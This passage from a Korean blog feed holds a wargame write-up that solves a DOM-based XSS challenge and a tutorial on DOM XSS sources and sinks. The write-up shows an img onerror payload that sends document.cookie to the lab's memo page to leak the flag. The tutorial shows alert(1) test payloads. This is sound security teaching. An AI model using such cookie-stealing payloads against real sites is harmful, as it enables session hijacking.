&lt;p data-ke-size=&quot;size16&quot;&gt;먼저 vuln페이지에 어떤 취약점이 있는지 살펴보도록 하자,,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;개발자도구를 통해서,, html과 js를 살펴보면&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1542&quot; data-origin-height=&quot;206&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/tBknK/dJMb99Njy4g/zUcHfQZhZoxIZzHNrAtuc0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/tBknK/dJMb99Njy4g/zUcHfQZhZoxIZzHNrAtuc0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/tBknK/dJMb99Njy4g/zUcHfQZhZoxIZzHNrAtuc0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FtBknK%2FdJMb99Njy4g%2FzUcHfQZhZoxIZzHNrAtuc0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1542&quot; height=&quot;206&quot; data-origin-width=&quot;1542&quot; data-origin-height=&quot;206&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;스크립트 태그에 아까 DOM-based xss에서 공부했던 source와 sink가 있는 걸 볼 수 있었고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이를 통해 실제로 id=vuln쪽의 스크립트가 수정되는지 테스트 해보면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;xss-1에서와 같이 memo 페이지를 통해 출력된 걸 확인할 수 있고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이미지 태그를 활용해&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt;img src=&quot;ina&quot; onerror=&quot;location.href='/memo?memo=maruru'&quot;&amp;gt; 간단한 문자열 조작으로 테스트를 해보면&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;336&quot; data-origin-height=&quot;220&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/baKzzp/dJMcacpOdAP/U3d2OniAnX2zQyANfRLPd1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/baKzzp/dJMcacpOdAP/U3d2OniAnX2zQyANfRLPd1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/baKzzp/dJMcacpOdAP/U3d2OniAnX2zQyANfRLPd1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbaKzzp%2FdJMcacpOdAP%2FU3d2OniAnX2zQyANfRLPd1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;183&quot; height=&quot;120&quot; data-origin-width=&quot;336&quot; data-origin-height=&quot;220&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;스크립트가 변경되는 걸 볼 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그럼 이부분이 안전하게 처리가 안되고 취약한 부분인걸 확인했으니 공격을 위한 조작을 해보자&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;check_xss()의&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;url&amp;nbsp;=&amp;nbsp;f&quot;http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}&quot;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 이러니까&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;url = http://127.0.0.1:8000/vuln?param=&amp;lt;img src=&quot;ina&quot; onerror=&quot;location.href='/memo?memo='+document.cookie&quot;&amp;gt;&lt;/span&gt;를 이렇게 됨,,그럼&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;x -&amp;gt; param=&amp;lt;img src=&quot;ina&quot; onerror=&quot;location.href='/memo?memo='+document.cookie&quot;&amp;gt;&lt;/span&gt;가 될거고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;x.get('param')이니까&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&amp;lt;img src=&quot;ina&quot; onerror=&quot;location.href='/memo?memo='+document.cookie&quot;&amp;gt;&lt;/span&gt; 이고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그럼 결국&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&amp;lt;div id=&quot;vuln&quot;&amp;gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&amp;nbsp; &amp;lt;script&amp;gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;lt;img src=&quot;ina&quot; onerror=&quot;location.href='/memo?memo='+document.cookie&quot;&amp;gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&amp;nbsp; &amp;lt;/script&amp;gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이렇게 되면서 /memo 페이지에 쿠키값이 flag가 기록되게 된다!&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;704&quot; data-origin-height=&quot;324&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b1SRd9/dJMcadhWEbL/4dp1CIY8db6FeJlxps5BKk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b1SRd9/dJMcadhWEbL/4dp1CIY8db6FeJlxps5BKk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b1SRd9/dJMcadhWEbL/4dp1CIY8db6FeJlxps5BKk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb1SRd9%2FdJMcadhWEbL%2F4dp1CIY8db6FeJlxps5BKk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;337&quot; height=&quot;155&quot; data-origin-width=&quot;704&quot; data-origin-height=&quot;324&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;DOM-based xss에 대한 문제였다,,!!&lt;/p&gt;</description>
      <category>워게임/web2</category>
      <author>maru_</author>
      <guid isPermaLink="true">https://m4ruru.tistory.com/24</guid>
      <comments>https://m4ruru.tistory.com/24#entry24comment</comments>
      <pubDate>Tue, 2 Jun 2026 02:53:20 +0900</pubDate>
    </item>
    <item>
      <title>DOM-based XSS</title>
      <link>https://m4ruru.tistory.com/23</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;이번에는 &lt;b&gt;DOM-based XSS&lt;/b&gt;에 대해 공부해봐야지&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;앞에 웹은 어떻게 동작?? 글 마지막 부분에서 &amp;lt;script&amp;gt;태그에 대해 알아보면서 끝냈는데&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기에 이어서 이야기를 시작해보자면,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;javascript는 &lt;span style=&quot;color: #006dd7;&quot;&gt;개발자가 작성, 실행은 브라우저&lt;/span&gt;가 라는 구조였는데&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;지금 공부할 DOM-based XSS는 이런 구조에서 발생 하는데,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;개발자가 작성한 javascript가 공격자가 조작한 값을 &lt;span style=&quot;color: #ee2323;&quot;&gt;위험하게 처리&lt;/span&gt;하면서 문제가 생기는 것!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그럼 일단, &lt;b&gt;DOM&lt;/b&gt;에 대해서 알아보자&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;DOM&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- Document Object Model&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;DOM Tree&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;브라우저는 HTML을 DOM Tree로 만든다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예를들어서&lt;/p&gt;
&lt;pre id=&quot;code_1780319493540&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;html&amp;gt;
  &amp;lt;body&amp;gt;
    &amp;lt;h1&amp;gt;Hello&amp;lt;/h1&amp;gt;
    &amp;lt;button id=&quot;btn&quot;&amp;gt;누르기&amp;lt;/button&amp;gt;
    &amp;lt;div id=&quot;result&quot;&amp;gt;&amp;lt;/div&amp;gt;
  &amp;lt;/body&amp;gt;
 &amp;lt;/html&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;브라우저는 이 코드를 단순 문자열이 아니라&lt;/p&gt;
&lt;pre id=&quot;code_1780319547115&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;document
└── html
    └── body
        ├── h1
        │   └── &quot;Hello&quot;
        ├── button id=&quot;btn&quot;
        │   └── &quot;누르기&quot;
        └── div id=&quot;result&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이렇게 내부적으로 트리 구조로 바꿔서 관리를 하고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이것이, &lt;b&gt;DOM Tree&lt;/b&gt; 이다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정리하면, 브라우저가 HTML 문서를 JavaScript로 찾고, 읽고, 수정할 수 있게 만들어 둔 객체, 트리 구조라고 보면 되겠다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이렇게, 브라우저가 HTML을 DOM Tree로 만들어두면, JavaScript는 원하는 요소를 쉽게 찾을 수 있다,,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;돌아가는 순서를 정리 해보면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;HTML 원본&amp;nbsp; -&amp;gt; 브라우저가 DOM Tree 생성 -&amp;gt; JavaScript가 DOM Tree에서 요소 찾기 -&amp;gt; 요소의 내용, 속성, 스타일, 이벤트 등 수정 -&amp;gt; 화면에 반영&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;결론적으로&lt;/b&gt;, 웹페이지가 단순히 HTML 파일을 보여주는 것이 아니라, 브라우저가 HTML을 구조화하고 JavaScript가 그 구조를 계속 조작하면서 동작하는 것이다&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;DOM-based XSS에 대해 말하기에 앞서,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;innerHTML, textContent&lt;/b&gt;에 대해서 알아보자&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;textContent : 입력값을 글자로 넣음&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;innerHTML : 입력값을 HTML로 해석해서 넣음&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;먼저,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;textContent&lt;/p&gt;
&lt;pre id=&quot;code_1780324205323&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;result.textContent = &quot;&amp;lt;b&amp;gt;Hello&amp;lt;/b&amp;gt;&quot;;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;textContent 같은 경우네는 입력값을 그냥 글자로 넣고,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;따라서, 화면에는 그대로 &amp;lt;b&amp;gt;Hello&amp;lt;/b&amp;gt;가 출력된다 (태그로 해석하지 않는 것이다)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;반면,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;innerHTML은&lt;/p&gt;
&lt;pre id=&quot;code_1780324539085&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;result.innerHTML = &quot;&amp;lt;b&amp;gt;Hello&amp;lt;/b&amp;gt;&quot;;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;입력값을 HTML로 해석해서 넣고,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래서 DOM은&lt;/p&gt;
&lt;pre id=&quot;code_1780324621895&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;div id=&quot;result&quot;&amp;gt;&amp;lt;b&amp;gt;Hello&amp;lt;/b&amp;gt;&amp;lt;/div&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이렇게 바뀌고 화면에 Hello가 굵게 보이게 된다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;DOM-based XSS&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-브라우저에서 실행되는 JavaScript가 사용자가 조작 가능한 값을 읽고, 그 값을 innerHTML같은 위험한 DOM조작 지점에 넣어서 발생하는 XSS&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 서버가 사용자 입력을 응답 HTML에 위험하게 넣어서 발생하는 stored, reflected xss와 다르게, 프로트엔트 JavaScript가 브라우저 안에서 위험하게 처리해서 발생하는 취약점이다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예를들어서&lt;/p&gt;
&lt;pre id=&quot;code_1780325470331&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html lang=&quot;ko&quot;&amp;gt;
&amp;lt;head&amp;gt;
  &amp;lt;mete charset=&quot;UTF-8&quot;&amp;gt;
  &amp;lt;title&amp;gt;DOM XSS Lab&amp;lt;/title&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
  &amp;lt;h1&amp;gt;검색 결과&amp;lt;/h1&amp;gt;
  &amp;lt;div id=&quot;result&quot;&amp;gt;&amp;lt;/div&amp;gt;
  
  &amp;lt;script&amp;gt;
    const keyword = location.hash.substring(1);
    document.getElementById(&quot;result&quot;).innerHTML = keyword;
  &amp;lt;/script&amp;gt;
 &amp;lt;/body&amp;gt;
 &amp;lt;/html&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이런 페이지가 있고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;만약, 정상적인 입력이 있다고 한다면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사용자가 아래의 주소로 접속했다면&lt;/p&gt;
&lt;pre id=&quot;code_1780325543591&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;http://maru.com/dom#hello&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;브라우저에서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;const keyword = location.hash.substring(1);&lt;/b&gt; 이부분에 따라&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;#hello를 가져오고 substring(1)에 따라 #도 제거하고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;document.getElementById(&quot;result&quot;).innerHTML&amp;nbsp;=&amp;nbsp;keyword;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이부분에 따라 id=result인 부분에 hello가 추가되고&lt;/p&gt;
&lt;pre id=&quot;code_1780325704366&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;div id=&quot;result&amp;gt;hello&amp;lt;/div&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이렇게 DOM이 바뀌면서 화면에는 &lt;b&gt;hello&lt;/b&gt;가 출력된다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 예시에서는 그냥 문자열 hello를 출력했기에, 큰문제가 없다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;근데 만약, 여기에 공격적인 입력을 한다면?,,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예를들어서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공격자가 링크에 hello가 아닌&lt;/p&gt;
&lt;pre id=&quot;code_1780325893138&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;http://maru.com/dom#&amp;lt;img src=x onerror=alert(1)&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이런 값을 넣는다면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;const keyword = location.hash.substring(1);&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 부분에 따라 JavaScript가&lt;/p&gt;
&lt;pre id=&quot;code_1780325967879&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;keyword = &quot;&amp;lt;img src=x onerror=alert(1)&amp;gt;&quot;;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이렇게 읽을 것이고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그럼 이 값이 innerHTML에 들어가면서&lt;/p&gt;
&lt;pre id=&quot;code_1780326066266&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;document.getElementById(&quot;result&quot;).innerHTML = &quot;&amp;lt;img src=x onerror=alert(1)&amp;gt;&quot;;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이렇게 되고,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;innerHTML은 문자열을 HTML로 해석하니까 DOM은&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1780326128241&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;div id=&quot;result&quot;&amp;gt;
  &amp;lt;img src=x onerror=&quot;alert(1)&quot;&amp;gt;
&amp;lt;/div&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이렇게 조작될 것이고,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;src=x는 존재하지 않는 이미지 주소로, 이미지 로딩이 실패하면서 &lt;span style=&quot;color: #ee2323;&quot;&gt;onerror 이벤트&lt;/span&gt;가 실행될 것이다!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래서 결국 브라우저에서 &lt;span style=&quot;color: #ee2323;&quot;&gt;alert(1)&lt;/span&gt;이 뜰것이다,,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정리를 해보면,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;피해자가&amp;nbsp;조작된&amp;nbsp;URL&amp;nbsp;클릭&lt;br /&gt;&amp;darr;&lt;br /&gt;서버는&amp;nbsp;정상&amp;nbsp;HTML/JS를&amp;nbsp;응답&lt;br /&gt;&amp;darr;&lt;br /&gt;브라우저가&amp;nbsp;JavaScript&amp;nbsp;실행&lt;br /&gt;&amp;darr;&lt;br /&gt;JavaScript가&amp;nbsp;location.hash를&amp;nbsp;읽음&lt;br /&gt;&amp;darr;&lt;br /&gt;innerHTML에&amp;nbsp;넣음&lt;br /&gt;&amp;darr;&lt;br /&gt;브라우저가&amp;nbsp;HTML로&amp;nbsp;해석하면서&amp;nbsp;이벤트&amp;nbsp;실행&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;결론적으로, DOM-based XSS는 프론트엔드 JavaScript가 조작 가능한 값을 DOM에 위험하게 넣어서 발생한다!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;그럼 이 공격을 할 공격자는 무엇을 보고 DOM XSS를 찾을까,,?&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기서 Source, Sink가 나오는데&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Source&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-&amp;gt; 공격자가 조작할 수 있는 &lt;b&gt;입력 출처&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-&amp;gt; DOM XSS에서 자주 보는 source는,,&lt;/p&gt;
&lt;pre id=&quot;code_1780327333806&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;location.hash
location.search
location.href
document.URL
document.referrer
localStorage
sessionStorage
postMessage event.data&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Sink&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-&amp;gt; 값이 들어갔을 때 HTML로 해석되거나 JavaScript 실행으로 이어질 수 있는 위험한 지점&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-&amp;gt; 대표적인 sink는,,&lt;/p&gt;
&lt;pre id=&quot;code_1780328837124&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;innerHTML
outerHTML
document.write()
insertAdjacentHTML()
eval()
setTimeout(&quot;문자열&quot;)
setInterval(&quot;문자열&quot;)
setAttribute(&quot;onclick&quot;,...)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이렇게, Source와 Sink가 있고, 이 2개가 연결이 되면서 공격이 발생하는 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정리하면, 조작 가능한 값이 위험한 Sink로 흘러가는 가?가 핵심이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예시로 했던 걸 보면&lt;/p&gt;
&lt;pre id=&quot;code_1780329047003&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;const keyword = location.hash.substring(1); // Source
result.innerHTML = keyword; // Sink&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;요런식,,&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그렇다고 sink 자체가 무조건 문제가 아니라&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;신뢰할 수 없는 사용자 입력을 위험한 sink에 그대로 넣는 게 위험한 것!(위 예시처럼)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실제로&lt;/p&gt;
&lt;pre id=&quot;code_1780329228474&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;result.innerHTML = &quot;&amp;lt;b&amp;gt;공지사항&amp;lt;/b&amp;gt;&quot;;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이런식으로 개발자가 직접 작성한 고정 문자열은 공격자가 변경할 수 없으니 상관없다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래서 총 정리를 해 본다면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;DOM-based XSS 분석의 핵심&lt;/b&gt;은&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 조작 가능한 값이가? (&lt;span style=&quot;color: #ee2323;&quot;&gt;Source&lt;/span&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- JavaScript가 그 값을 읽는가?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 그 값이 위험한 위치에 들어가는가? (&lt;span style=&quot;color: #ee2323;&quot;&gt;Sink&lt;/span&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- HTML/JavaScript로 해석되는가?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- textContent, escape, sanitize 같은 &lt;span style=&quot;color: #006dd7;&quot;&gt;안전처리&lt;/span&gt;가 있는가?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;요렇게 정리해 볼 수 있고,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래서, 결국 DOM-based XSS는&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공격자가 넣은 문자열 자체보다, &lt;b&gt;프론트엔드 JavaScript가 그 문자열을 DOM에 어떤 방식으로 넣느냐&lt;/b&gt;가 핵심이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;**번외&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&lt;b&gt;id&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;-&amp;gt; HTML에서 요소에 붙이는 고유한 이름표 같은&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;-&amp;gt; 원칙적으로 반복 x, 한 페이지 안에서 고유해야 한다&lt;/p&gt;
